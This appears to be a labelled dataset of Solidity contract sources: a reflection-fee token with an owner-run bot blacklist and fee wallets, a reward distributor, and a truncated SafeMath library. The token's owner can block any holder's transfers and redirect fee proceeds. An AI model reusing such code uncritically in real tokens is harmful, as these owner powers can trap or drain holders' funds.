_blackListedBots.push(address(0xf6da21E95D74767009acCB145b96897aC3630BaD));
_isBlackListedBot[address(0x0000000000007673393729D5618DC555FD13f9aA)] = true;
_blackListedBots.push(address(0x0000000000007673393729D5618DC555FD13f9aA));
_isBlackListedBot[address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1)] = true;
_blackListedBots.push(address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1));
_isBlackListedBot[address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)] = true;
_blackListedBots.push(address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6));
_isBlackListedBot[address(0x000000917de6037d52b1F0a306eeCD208405f7cd)] = true;
_blackListedBots.push(address(0x000000917de6037d52b1F0a306eeCD208405f7cd));
_isBlackListedBot[address(0x7100e690554B1c2FD01E8648db88bE235C1E6514)] = true;
_blackListedBots.push(address(0x7100e690554B1c2FD01E8648db88bE235C1E6514));
_isBlackListedBot[address(0x72b30cDc1583224381132D379A052A6B10725415)] = true;
_blackListedBots.push(address(0x72b30cDc1583224381132D379A052A6B10725415));
_isBlackListedBot[address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE)] = true;
_blackListedBots.push(address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE));
_isBlackListedBot[address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)] = true;
_blackListedBots.push(address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F));
_isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true;
_blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b));
_isBlackListedBot[address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9)] = true;
_blackListedBots.push(address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9));
_isBlackListedBot[address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)] = true;
_blackListedBots.push(address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7));
_isBlackListedBot[address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF)] = true;
_blackListedBots.push(address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF));
_isBlackListedBot[address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290)] = true;
_blackListedBots.push(address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290));
_isBlackListedBot[address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)] = true;
_blackListedBots.push(address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5));
_isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true;
_blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b));
_isBlackListedBot[address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7)] = true;
_blackListedBots.push(address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7));
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _charityFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular charity event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the charity wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToCharity(uint256 amount) private {
_charityWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToCharity(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rCharity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tCharity = tAmount.mul(charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setCharityFee(uint256 charityFee) external onlyOwner() {
require(charityFee >= 1 && charityFee <= 11, 'charityFee should be in 1 - 11');
_charityFee = charityFee;
}
function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() {
_charityWalletAddress = charityWalletAddress;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-15
*/
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IRewardsDistributionRecipient {
function notifyRewardAmount(address _rewardToken, uint256 reward) external;
}
// A simple reward distributor that takes any ERC20 token, and allows Fund Manager roles to send/notify reward to IRewardsDistributionRecipient.
contract RewardDistributor {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
address public governance;
mapping(address => bool) public fundManager;
/* ========== CONSTRUCTOR ========== */
constructor(
address[] memory _fundManagers
)
public
{
governance = msg.sender;
for(uint256 i = 0; i < _fundManagers.length; i++) {
fundManager[_fundManagers[i]] = true;
}
}
/* ========== RESTRICTED FUNCTIONS ========== */
function addFundManager(address _address)
external
onlyGov
{
fundManager[_address] = true;
}
function removeFundManager(address _address)
external
onlyGov
{
fundManager[_address] = false;
}
// Allow governance to rescue rewards
function rescue(address _rewardToken)
external
onlyGov
{
uint _balance = IERC20(_rewardToken).balanceOf(address(this));
IERC20(_rewardToken).safeTransfer(governance, _balance);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function distributeRewards(
IRewardsDistributionRecipient[] calldata _recipients,
IERC20[] calldata _rewardTokens,
uint256[] calldata _amounts
)
external
onlyFundManager
{
uint256 len = _recipients.length;
require(len > 0, "Must choose recipients");
require(len == _rewardTokens.length, "Mismatching inputs");
require(len == _amounts.length, "Mismatching inputs");
for(uint i = 0; i < len; i++){
uint256 amount = _amounts[i];
IERC20 rewardToken = _rewardTokens[i];
IRewardsDistributionRecipient recipient = _recipients[i];
// Send the RewardToken to recipient
rewardToken.safeTransfer(address(recipient), amount);
// Only after successfull tx - notify the contract of the new funds
recipient.notifyRewardAmount(address(rewardToken), amount);
emit DistributedReward(msg.sender, address(recipient), address(rewardToken), amount);
}
}
/* ========== MODIFIERS ========== */
modifier onlyGov() {
require(msg.sender == governance, "!governance");
_;
}
modifier onlyFundManager() {
require(fundManager[msg.sender] == true, "!manager");
_;
}
/* ========== EVENTS ========== */
event DistributedReward(address funder, address recipient, address rewardToken, uint256 amount);
} | True | [
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] |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
